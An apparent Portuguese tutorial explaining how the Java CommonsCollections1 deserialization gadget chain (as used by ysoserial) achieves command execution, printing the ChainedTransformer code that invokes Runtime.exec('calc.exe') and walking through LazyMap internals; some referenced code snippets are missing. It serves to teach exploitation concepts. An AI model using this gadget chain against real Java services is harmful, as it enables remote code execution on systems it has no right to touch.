Se você não sabe nada sobre payloads de deserialização em java, pode ser difícil entender por que este código executará um calc.
Primeiro de tudo, você precisa saber que um Transformer em Java é algo que recebe uma classe e a transforma em outra diferente.
Além disso, é interessante saber que o payload sendo executado aqui é equivalente a:
Então, como o primeiro payload apresentado é equivalente àqueles "simples" one-liners?
Primeiro de tudo, você pode notar no payload que uma cadeia (array) de transforms é criada:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
Se você ler o código, notará que se você de alguma forma encadear a transformação do array, poderá executar comandos arbitrários.
Na última seção do payload, você pode ver que um objeto Map é criado. Em seguida, a função decorate é executada a partir de LazyMap com o objeto map e os transformers encadeados. A partir do código a seguir, você pode ver que isso fará com que os transformers encadeados sejam copiados dentro do atributo lazyMap.factory:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
E então o grande final é executado: lazyMap.get("anything");
Este é o código da função get:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
E este é o código da função transform
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
Então, lembre-se de que dentro da factory nós salvamos chainedTransformer e dentro da função transform nós estamos percorrendo todos aqueles transformers encadeados e executando um após o outro. A parte engraçada é que cada transformer está usando objectcomo entrada e object é a saída do último transformer executado. Portanto, todas as transformações estão encadeadas executando o payload malicioso.
Resumo
No final, devido a como o lazyMap está gerenciando os transformers encadeados dentro do método get, é como se estivéssemos executando o seguinte código:
Note que aqui foram explicados os gadgets usados para o payload ComonsCollections1. Mas ficou como tudo isso começa a ser executado. Você pode ver aqui que ysoserial, para executar este payload, usa um objeto AnnotationInvocationHandler porque quando este objeto é desserializado, ele invocará a função payload.get() que executará todo o payload.
Java Thread Sleep
Este payload pode ser útil para identificar se a web é vulnerável, pois executará um sleep se for.